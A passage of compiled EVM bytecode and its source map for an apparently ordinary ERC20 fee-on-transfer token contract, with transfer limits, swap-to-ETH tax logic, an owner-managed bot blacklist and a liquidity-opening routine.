a01b031663f305d719473061072d816001600160a01b031660009081526009602052604090205490565b6000806107426000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107aa573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107cf9190611779565b505060135460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c91906117a7565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146108905760405162461bcd60e51b815260040161049090611744565b60005b81518110156108f8576001600c60008484815181106108b4576108b46117c9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f0816117df565b915050610893565b5050565b6001600160a01b0383166109655760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b6064820152608401610490565b6001600160a01b0382166109cc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b6064820152608401610490565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610af35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b60008111610b555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610490565b600080546001600160a01b03858116911614801590610b8257506000546001600160a01b03848116911614155b15610f30576001600160a01b0384166000908152600c602052604090205460ff16158015610bc957506001600160a01b0383166000908152600c602052604090205460ff16155b610bd257600080fd5b610bfe6064610bf860055460085411610bed57600154610bf1565b6003545b85906110ad565b90611136565b6013549091506001600160a01b038581169116148015610c2c57506011546001600160a01b03848116911614155b8015610c5157506001600160a01b0383166000908152600b602052604090205460ff16155b15610d3957600d54821115610ca85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610490565b600e5482610ccb856001600160a01b031660009081526009602052604090205490565b610cd591906117f8565b1115610d235760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610490565b60088054906000610d33836117df565b91905055505b6001600160a01b0384166000908152600b602052604090205460ff1615610d88576001600160a01b03841660009081526009602052604081208054849290610d829084906117f8565b90915550505b6013546001600160a01b03848116911614801590610dbf57506001600160a01b0383166000908152600b602052604090205460ff16155b15610e3f57600e5482610de7856001600160a01b031660009081526009602052604090205490565b610df191906117f8565b1115610e3f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610490565b6013546001600160a01b038481169116148015610e6557506001600160a01b0384163014155b15610e9257610e8f6064610bf860065460085411610e8557600254610bf1565b60045485906110ad565b90505b30600090815260096020526040902054601354600160a81b900460ff16158015610ec957506013546001600160a01b038581169116145b8015610ede5750601354600160b01b900460ff165b8015610eeb5750600f5481115b8015610efa5750600754600854115b15610f2e57610f1c610f1784610f1284601054611178565b611178565b61118d565b478015610f2c57610f2c47611307565b505b505b8015610faa5730600090815260096020526040902054610f509082611341565b30600081815260096020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa19085815260200190565b60405180910390a35b6001600160a01b038416600090815260096020526040902054610fcd90836113a0565b6001600160a01b038516600090815260096020526040902055611012610ff383836113a0565b6001600160a01b03851660009081526009602052604090205490611341565b6001600160a01b0380851660008181526009602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61105c85856113a0565b60405190815260200160405180910390a350505050565b600081848411156110975760405162461bcd60e51b81526004016104909190611410565b5060006110a4848661180b565b95945050505050565b6000826000036110bf575060006103d6565b60006110cb838561172d565b9050826110d8858361181e565b1461112f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610490565b9392505050565b600061112f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e2565b6000818311611187578261112f565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d5576111d56117c9565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561122e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112529190611840565b81600181518110611265576112656117c9565b6001600160a01b03928316602091820292909201015260115461128b91309116846108fc565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c490859060009086903090429060040161185d565b600060405180830381600087803b1580156112de57600080fd5b505af11580156112f2573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f8573d6000803e3d6000fd5b60008061134e83856117f8565b90508381101561112f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610490565b600061112f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611073565b600081836114035760405162461bcd60e51b81526004016104909190611410565b5060006110a4848661181e565b600060208083528351808285015260005b8181101561143d57858101830151858201604001528201611421565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461147357600080fd5b50565b80356114818161145e565b919050565b6000806040838503121561149957600080fd5b82356114a48161145e565b946020939093013593505050565b6000806000606084860312156114c757600080fd5b83356114d28161145e565b925060208401356114e28161145e565b929592945050506040919091013590565b60006020828403121561150557600080fd5b813561112f8161145e565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561153957600080fd5b823567ffffffffffffffff8082111561155157600080fd5b818501915085601f83011261156557600080fd5b81358181111561157757611577611510565b8060051b604051601f19603f8301168101818110858211171561159c5761159c611510565b6040529182528482019250838101850191888311156115ba57600080fd5b938501935b828510156115df576115d085611476565b845293850193928501926115bf565b98975050505050505050565b600080604083850312156115fe57600080fd5b82356116098161145e565b915060208301356116198161145e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561167557816000190482111561165b5761165b611624565b8085161561166857918102915b93841c939080029061163f565b509250929050565b60008261168c575060016103d6565b81611699575060006103d6565b81600181146116af57600281146116b9576116d5565b60019150506103d6565b60ff8411156116ca576116ca611624565b50506001821b6103d6565b5060208310610133831016604e8410600b84101617156116f8575081810a6103d6565b611702838361163a565b806000190482111561171657611716611624565b029392505050565b600061112f60ff84168361167d565b80820281158282048414176103d6576103d6611624565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561178e57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117b957600080fd5b8151801515811461112f57600080fd5b634e487b7160e01b600052603260045260246000fd5b6000600182016117f1576117f1611624565b5060010190565b808201808211156103d6576103d6611624565b818103818111156103d6576103d6611624565b60008261183b57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561185257600080fd5b815161112f8161145e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ad5784516001600160a01b031683529383019391830191600101611888565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122086f0d175a1ff793a7e1586ffb676a65cc4fb044898dc7cfc82ccfcb25dd3926364736f6c63430008130033

Deployed Bytecode Sourcemap

3744:7668:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5728:83;;;;;;;;;;-1:-1:-1;5798:5:0;;;;;;;;;;;;-1:-1:-1;;;5798:5:0;;;;5728:83;;;;;;;:::i;:::-;;;;;;;;6235:161;;;;;;;;;;-1:-1:-1;6235:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6235:161:0;1162:187:1;4807:51:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4807:51:0;1354:177:1;6005:95:0;;;;;;;;;;;;;:::i;10052:313::-;;;;;;;;;;-1:-1:-1;10052:313:0;;;;;:::i;:::-;;:::i;5914:83::-;;;;;;;;;;-1:-1:-1;5914:83:0;;4540:1;2139:36:1;;2127:2;2112:18;5914:83:0;1997:184:1;6108:119:0;;;;;;;;;;-1:-1:-1;6108:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6201:18:0;6174:7;6201:18;;;:9;:18;;;;;;;6108:119;1005:148;;;;;;;;;;;;;:::i;:::-;;10895:239;;;;;;;;;;-1:-1:-1;10895:239:0;;;;;:::i;:::-;;:::i;10728:159::-;;;;;;;;;;;;;:::i;4617:59::-;;;;;;;;;;;;;;;;791:79;;;;;;;;;;-1:-1:-1;829:7:0;856:6;791:79;;-1:-1:-1;;;;;856:6:0;;;2844:51:1;;2832:2;2817:18;791:79:0;2698:203:1;4683:59:0;;;;;;;;;;;;;;;;5819:87;;;;;;;;;;-1:-1:-1;5891:7:0;;;;;;;;;;;;-1:-1:-1;;;5891:7:0;;;;5819:87;;11242:167;;;;;;;;;;-1:-1:-1;11242:167:0;;;;;:::i;:::-;;:::i;4749:51::-;;;;;;;;;;;;;;;;9397:459;;;;;;;;;;;;;:::i;9200:189::-;;;;;;;;;;-1:-1:-1;9200:189:0;;;;;:::i;:::-;;:::i;9901:143::-;;;;;;;;;;-1:-1:-1;9901:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;10009:18:0;;;9982:7;10009:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9901:143;6235:161;6310:4;6327:39;448:10;6350:7;6359:6;6327:8;:39::i;:::-;-1:-1:-1;6384:4:0;6235:161;;;;;:::o;6005:95::-;6058:7;4597:13;4540:1;4597:2;:13;:::i;:::-;4583:27;;:11;:27;:::i;:::-;6078:14;;6005:95;:::o;10052:313::-;10150:4;10167:36;10177:6;10185:9;10196:6;10167:9;:36::i;:::-;10214:121;10223:6;448:10;10245:89;10283:6;10245:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10245:19:0;;;;;;:11;:19;;;;;;;;448:10;10245:33;;;;;;;;;;:37;:89::i;:::-;10214:8;:121::i;:::-;-1:-1:-1;10353:4:0;10052:313;;;;;:::o;1005:148::-;918:6;;-1:-1:-1;;;;;918:6:0;448:10;918:22;910:67;;;;-1:-1:-1;;;910:67:0;;;;;;;:::i;:::-;;;;;;;;;1112:1:::1;1096:6:::0;;1075:40:::1;::::0;-1:-1:-1;;;;;1096:6:0;;::::1;::::0;1075:40:::1;::::0;1112:1;;1075:40:::1;1143:1;1126:19:::0;;-1:-1:-1;;;;;;1126:19:0::1;::::0;;1005:148::o;10895:239::-;10987:10;;-1:-1:-1;;;;;10987:10:0;10973;:24;10965:80;;;;-1:-1:-1;;;10965:80:0;;6808:2:1;10965:80:0;;;6790:21:1;6847:2;6827:18;;;6820:30;6886:34;6866:18;;;6859:62;-1:-1:-1;;;6937:18:1;;;6930:42;6989:19;;10965:80:0;6606:408:1;10965:80:0;11056:10;:22;;-1:-1:-1;;;;;11056:22:0;;;-1:-1:-1;;;;;;11056:22:0;;;;;;;:10;11089:30;;;:18;:30;;;;;:37;;-1:-1:-1;;11089:37:0;11056:22;11089:37;;;10895:239::o;10728:159::-;918:6;;-1:-1:-1;;;;;918:6:0;448:10;918:22;910:67;;;;-1:-1:-1;;;910:67:0;;;;;;;:::i;:::-;4597:13:::1;4540:1;4597:2;:13;:::i;:::-;4583:27;::::0;:11:::1;:27;:::i;:::-;10781:12;:22:::0;4597:13:::1;4540:1;4597:2;:13;:::i;:::-;4583:27;::::0;:11:::1;:27;:::i;:::-;10814:14;:22:::0;10852:27:::1;4597:13;4540:1;4597:2;:13;:::i;:::-;4583:27;::::0;:11:::1;:27;:::i;:::-;10852;::::0;1500:25:1;;;1488:2;1473:18;10852:27:0::1;;;;;;;10728:159::o:0;11242:167::-;11320:4;11337:42;448:10;11361:9;11372:6;11337:9;:42::i;9397:459::-;918:6;;-1:-1:-1;;;;;918:6:0;448:10;918:22;910:67;;;;-1:-1:-1;;;910:67:0;;;;;;;:::i;:::-;9461:11:::1;::::0;-1:-1:-1;;;9461:11:0;::::1;;;9460:12;9452:47;;;::::0;-1:-1:-1;;;9452:47:0;;7221:2:1;9452:47:0::1;::::0;::::1;7203:21:1::0;7260:2;7240:18;;;7233:30;7299:25;7279:18;;;7272:53;7342:18;;9452:47:0::1;7019:347:1::0;9452:47:0::1;9542:15;::::0;9510:58:::1;::::0;9527:4:::1;::::0;-1:-1:-1;;;;;9542:15:0::1;4597:13;4540:1;4597:2;:13;:::i;:::-;4583:27;::::0;:11:::1;:27;:::i;9510:58::-;9579:15;::::0;-1:-1:-1;;;;;9579:15:0::1;:31;9618:21;9649:4;9655:24;9649:4:::0;-1:-1:-1;;;;;6201:18:0;6174:7;6201:18;;;:9;:18;;;;;;;6108:119;9655:24:::1;9680:1;9682::::0;9684:7:::1;829::::0;856:6;-1:-1:-1;;;;;856:6:0;;791:79;9684:7:::1;9579:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9579:129:0;;;-1:-1:-1;;;;;7730:15:1;;;9579:129:0::1;::::0;::::1;7712:34:1::0;7762:18;;;7755:34;;;;7805:18;;;7798:34;;;;7848:18;;;7841:34;7912:15;;;7891:19;;;7884:44;9692:15:0::1;7944:19:1::0;;;7937:35;7646:19;;9579:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9726:13:0::1;::::0;9757:15:::1;::::0;9719:71:::1;::::0;-1:-1:-1;;;9719:71:0;;-1:-1:-1;;;;;9757:15:0;;::::1;9719:71;::::0;::::1;8468:51:1::0;-1:-1:-1;;8535:18:1;;;8528:34;9726:13:0;::::1;::::0;-1:-1:-1;9719:29:0::1;::::0;8441:18:1;;9719:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9801:11:0::1;:18:::0;;-1:-1:-1;;;;9830:18:0;-1:-1:-1;;;9830:18:0;;;9397:459::o;9200:189::-;918:6;;-1:-1:-1;;;;;918:6:0;448:10;918:22;910:67;;;;-1:-1:-1;;;910:67:0;;;;;;;:::i;:::-;9281:6:::1;9276:106;9297:10;:17;9293:1;:21;9276:106;;;9366:4;9336:12;:27;9349:10;9360:1;9349:13;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9336:27:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9336:27:0;:34;;-1:-1:-1;;9336:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9316:3;::::1;::::0;::::1;:::i;:::-;;;;9276:106;;;;9200:189:::0;:::o;10373:347::-;-1:-1:-1;;;;;10466:19:0;;10458:74;;;;-1:-1:-1;;;10458:74:0;;9329:2:1;10458:74:0;;;9311:21:1;9368:2;9348:18;;;9341:30;9407:34;9387:18;;;9380:62;-1:-1:-1;;;9458:18:1;;;9451:40;9508:19;;10458:74:0;9127:406:1;10458:74:0;-1:-1:-1;;;;;10551:21:0;;10543:74;;;;-1:-1:-1;;;10543:74:0;;9740:2:1;10543:74:0;;;9722:21:1;9779:2;9759:18;;;9752:30;9818:34;9798:18;;;9791:62;-1:-1:-1;;;9869:18:1;;;9862:38;9917:19;;10543:74:0;9538:404:1;10543:74:0;-1:-1:-1;;;;;10628:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10680:32;;1500:25:1;;;10680:32:0;;1473:18:1;10680:32:0;;;;;;;10373:347;;;:::o;6404:2189::-;-1:-1:-1;;;;;6492:18:0;;6484:68;;;;-1:-1:-1;;;6484:68:0;;10149:2:1;6484:68:0;;;10131:21:1;10188:2;10168:18;;;10161:30;10227:34;10207:18;;;10200:62;-1:-1:-1;;;10278:18:1;;;10271:35;10323:19;;6484:68:0;9947:401:1;6484:68:0;-1:-1:-1;;;;;6571:16:0;;6563:64;;;;-1:-1:-1;;;6563:64:0;;10555:2:1;6563:64:0;;;10537:21:1;10594:2;10574:18;;;10567:30;10633:34;10613:18;;;10606:62;-1:-1:-1;;;10684:18:1;;;10677:33;10727:19;;6563:64:0;10353:399:1;6563:64:0;6655:1;6646:6;:10;6638:64;;;;-1:-1:-1;;;6638:64:0;;10959:2:1;6638:64:0;;;10941:21:1;10998:2;10978:18;;;10971:30;11037:34;11017:18;;;11010:62;-1:-1:-1;;;11088:18:1;;;11081:39;11137:19;;6638:64:0;10757:405:1;6638:64:0;6713:17;856:6;;-1:-1:-1;;;;;6747:15:0;;;856:6;;6747:15;;;;:32;;-1:-1:-1;829:7:0;856:6;-1:-1:-1;;;;;6766:13:0;;;856:6;;6766:13;;6747:32;6743:1494;;;-1:-1:-1;;;;;6805:18:0;;;;;;:12;:18;;;;;;;;6804:19;:40;;;;-1:-1:-1;;;;;;6828:16:0;;;;;;:12;:16;;;;;;;;6827:17;6804:40;6796:49;;;;;;6872:76;6944:3;6872:67;6894:15;;6884:9;;:25;6883:55;;6924:14;;6883:55;;;6911:12;;6883:55;6872:6;;:10;:67::i;:::-;:71;;:76::i;:::-;6977:13;;6860:88;;-1:-1:-1;;;;;;6969:21:0;;;6977:13;;6969:21;:55;;;;-1:-1:-1;7008:15:0;;-1:-1:-1;;;;;6994:30:0;;;7008:15;;6994:30;;6969:55;:83;;;;-1:-1:-1;;;;;;7030:22:0;;;;;;:18;:22;;;;;;;;7028:24;6969:83;6965:313;;;7092:12;;7082:6;:22;;7074:60;;;;-1:-1:-1;;;7074:60:0;;11369:2:1;7074:60:0;;;11351:21:1;11408:2;11388:18;;;11381:30;11447:27;11427:18;;;11420:55;11492:18;;7074:60:0;11167:349:1;7074:60:0;7187:14;;7177:6;7161:13;7171:2;-1:-1:-1;;;;;6201:18:0;6174:7;6201:18;;;:9;:18;;;;;;;6108:119;7161:13;:22;;;;:::i;:::-;:40;;7153:79;;;;-1:-1:-1;;;7153:79:0;;11853:2:1;7153:79:0;;;11835:21:1;11892:2;11872:18;;;11865:30;11931:28;11911:18;;;11904:56;11977:18;;7153:79:0;11651:350:1;7153:79:0;7251:9;:11;;;:9;:11;;;:::i;:::-;;;;;;6965:313;-1:-1:-1;;;;;7296:24:0;;;;;;:18;:24;;;;;;;;7292:60;;;-1:-1:-1;;;;;7324:15:0;;;;;;:9;:15;;;;;:25;;7343:6;;7324:15;:25;;7343:6;;7324:25;:::i;:::-;;;;-1:-1:-1;;7292:60:0;7376:13;;-1:-1:-1;;;;;7370:19:0;;;7376:13;;7370:19;;;;:47;;-1:-1:-1;;;;;;7395:22:0;;;;;;:18;:22;;;;;;;;7393:24;7370:47;7366:167;;;7472:14;;7462:6;7446:13;7456:2;-1:-1:-1;;;;;6201:18:0;6174:7;6201:18;;;:9;:18;;;;;;;6108:119;7446:13;:22;;;;:::i;:::-;:40;;7438:79;;;;-1:-1:-1;;;7438:79:0;;11853:2:1;7438:79:0;;;11835:21:1;11892:2;11872:18;;;11865:30;11931:28;11911:18;;;11904:56;11977:18;;7438:79:0;11651:350:1;7438:79:0;7556:13;;-1:-1:-1;;;;;7550:19:0;;;7556:13;;7550:19;:43;;;;-1:-1:-1;;;;;;7573:20:0;;7588:4;7573:20;;7550:43;7547:174;;;7626:79;7701:3;7626:70;7648:16;;7638:9;;:26;7637:58;;7680:15;;7637:58;;;7666:13;;7626:6;;:10;:70::i;:79::-;7614:91;;7547:174;7784:4;7735:28;6201:18;;;:9;:18;;;;;;7810:6;;-1:-1:-1;;;7810:6:0;;;;7809:7;:32;;;;-1:-1:-1;7828:13:0;;-1:-1:-1;;;;;7820:21:0;;;7828:13;;7820:21;7809:32;:47;;;;-1:-1:-1;7845:11:0;;-1:-1:-1;;;7845:11:0;;;;7809:47;:89;;;;;7881:17;;7860:20;:38;7809:89;:121;;;;;7912:18;;7902:9;;:28;7809:121;7805:421;;;7951:67;7968:49;7972:6;7979:37;7983:20;8004:11;;7979:3;:37::i;:::-;7968:3;:49::i;:::-;7951:16;:67::i;:::-;8066:21;8109:22;;8106:105;;8156:35;8169:21;8156:12;:35::i;:::-;7932:294;7805:421;6781:1456;6743:1494;8252:11;;8249:161;;8320:4;8302:24;;;;:9;:24;;;;;;:39;;8331:9;8302:28;:39::i;:::-;8295:4;8277:24;;;;:9;:24;;;;;;;:64;;;;8359:39;;-1:-1:-1;;;;;8359:39:0;;;;;;;8388:9;1500:25:1;;1488:2;1473:18;;1354:177;8359:39:0;;;;;;;;8249:161;-1:-1:-1;;;;;8436:15:0;;;;;;:9;:15;;;;;;:27;;8456:6;8436:19;:27::i;:::-;-1:-1:-1;;;;;8420:15:0;;;;;;:9;:15;;;;;:43;8488:40;8506:21;:6;8517:9;8506:10;:21::i;:::-;-1:-1:-1;;;;;8488:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8474:13:0;;;;;;;:9;:13;;;;;:54;;;;8544:41;;;8563:21;:6;8574:9;8563:10;:21::i;:::-;8544:41;;1500:25:1;;;1488:2;1473:18;8544:41:0;;;;;;;6473:2120;6404:2189;;;:::o;2956:190::-;3042:7;3078:12;3070:6;;;;3062:29;;;;-1:-1:-1;;;3062:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3102:9:0;3114:5;3118:1;3114;:5;:::i;:::-;3102:17;2956:190;-1:-1:-1;;;;;2956:190:0:o;3154:246::-;3212:7;3236:1;3241;3236:6;3232:47;;-1:-1:-1;3266:1:0;3259:8;;3232:47;3289:9;3301:5;3305:1;3301;:5;:::i;:::-;3289:17;-1:-1:-1;3334:1:0;3325:5;3329:1;3289:17;3325:5;:::i;:::-;:10;3317:56;;;;-1:-1:-1;;;3317:56:0;;12563:2:1;3317:56:0;;;12545:21:1;12602:2;12582:18;;;12575:30;12641:34;12621:18;;;12614:62;-1:-1:-1;;;12692:18:1;;;12685:31;12733:19;;3317:56:0;12361:397:1;3317:56:0;3391:1;3154:246;-1:-1:-1;;;3154:246:0:o;3408:132::-;3466:7;3493:39;3497:1;3500;3493:39;;;;;;;;;;;;;;;;;:3;:39::i;9094:98::-;9151:7;9178:1;9176;:3;9175:9;;9183:1;9175:9;;;-1:-1:-1;9181:1:0;9094:98;-1:-1:-1;9094:98:0:o;8601:483::-;5181:6;:13;;-1:-1:-1;;;;5181:13:0;-1:-1:-1;;;5181:13:0;;;8703:16:::1;::::0;;8717:1:::1;8703:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8703:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8703:16:0::1;8679:40;;8748:4;8730;8735:1;8730:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8730:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8774:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8774:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8730:7;;8774:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8764:4;8769:1;8764:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8764:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8839:15:::1;::::0;8807:62:::1;::::0;8824:4:::1;::::0;8839:15:::1;8857:11:::0;8807:8:::1;:62::i;:::-;8880:15;::::0;:196:::1;::::0;-1:-1:-1;;;8880:196:0;;-1:-1:-1;;;;;8880:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;8961:11;;8880:15:::1;::::0;9003:4;;9030::::1;::::0;9050:15:::1;::::0;8880:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5217:6:0;:14;;-1:-1:-1;;;;5217:14:0;;;-1:-1:-1;;;;8601:483:0:o;11142:92::-;11199:10;;:27;;-1:-1:-1;;;;;11199:10:0;;;;:27;;;;;11219:6;;11199:10;:27;:10;:27;11219:6;11199:10;:27;;;;;;;;;;;;;;;;;;;2625:179;2683:7;;2715:5;2719:1;2715;:5;:::i;:::-;2703:17;;2744:1;2739;:6;;2731:46;;;;-1:-1:-1;;;2731:46:0;;14206:2:1;2731:46:0;;;14188:21:1;14245:2;14225:18;;;14218:30;14284:29;14264:18;;;14257:57;14331:18;;2731:46:0;14004:351:1;2812:136:0;2870:7;2897:43;2901:1;2904;2897:43;;;;;;;;;;;;;;;;;:3;:43::i;3548:189::-;3634:7;3669:12;3662:5;3654:28;;;;-1:-1:-1;;;3654:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3693:9:0;3705:5;3709:1;3705;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:247::-;2245:6;2298:2;2286:9;2277:7;2273:23;2269:32;2266:52;;;2314:1;2311;2304:12;2266:52;2353:9;2340:23;2372:31;2397:5;2372:31;:::i;2906:127::-;2967:10;2962:3;2958:20;2955:1;2948:31;2998:4;2995:1;2988:15;3022:4;3019:1;3012:15;3038:1121;3122:6;3153:2;3196;3184:9;3175:7;3171:23;3167:32;3164:52;;;3212:1;3209;3202:12;3164:52;3252:9;3239:23;3281:18;3322:2;3314:6;3311:14;3308:34;;;3338:1;3335;3328:12;3308:34;3376:6;3365:9;3361:22;3351:32;;3421:7;3414:4;3410:2;3406:13;3402:27;3392:55;;3443:1;3440;3433:12;3392:55;3479:2;3466:16;3501:2;3497;3494:10;3491:36;;;3507:18;;:::i;:::-;3553:2;3550:1;3546:10;3585:2;3579:9;3648:2;3644:7;3639:2;3635;3631:11;3627:25;3619:6;3615:38;3703:6;3691:10;3688:22;3683:2;3671:10;3668:18;3665:46;3662:72;;;3714:18;;:::i;:::-;3750:2;3743:22;3800:18;;;3834:15;;;;-1:-1:-1;3876:11:1;;;3872:20;;;3904:19;;;3901:39;;;3936:1;3933;3926:12;3901:39;3960:11;;;;3980:148;3996:6;3991:3;3988:15;3980:148;;;4062:23;4081:3;4062:23;:::i;:::-;4050:36;;4013:12;;;;4106;;;;3980:148;;;4147:6;3038:1121;-1:-1:-1;;;;;;;;3038:1121:1:o;4164:388::-;4232:6;4240;4293:2;4281:9;4272:7;4268:23;4264:32;4261:52;;;4309:1;4306;4299:12;4261:52;4348:9;4335:23;4367:31;4392:5;4367:31;:::i;:::-;4417:5;-1:-1:-1;4474:2:1;4459:18;;4446:32;4487:33;4446:32;4487:33;:::i;:::-;4539:7;4529:17;;;4164:388;;;;;:::o;4557:127::-;4618:10;4613:3;4609:20;4606:1;4599:31;4649:4;4646:1;4639:15;4673:4;4670:1;4663:15;4689:422;4778:1;4821:5;4778:1;4835:270;4856:7;4846:8;4843:21;4835:270;;;4915:4;4911:1;4907:6;4903:17;4897:4;4894:27;4891:53;;;4924:18;;:::i;:::-;4974:7;4964:8;4960:22;4957:55;;;4994:16;;;;4957:55;5073:22;;;;5033:15;;;;4835:270;;;4839:3;4689:422;;;;;:::o;5116:806::-;5165:5;5195:8;5185:80;;-1:-1:-1;5236:1:1;5250:5;;5185:80;5284:4;5274:76;;-1:-1:-1;5321:1:1;5335:5;;5274:76;5366:4;5384:1;5379:59;;;;5452:1;5447:130;;;;5359:218;;5379:59;5409:1;5400:10;;5423:5;;;5447:130;5484:3;5474:8;5471:17;5468:43;;;5491:18;;:::i;:::-;-1:-1:-1;;5547:1:1;5533:16;;5562:5;;5359:218;;5661:2;5651:8;5648:16;5642:3;5636:4;5633:13;5629:36;5623:2;5613:8;5610:16;5605:2;5599:4;5596:12;5592:35;5589:77;5586:159;;;-1:-1:-1;5698:19:1;;;5730:5;;5586:159;5777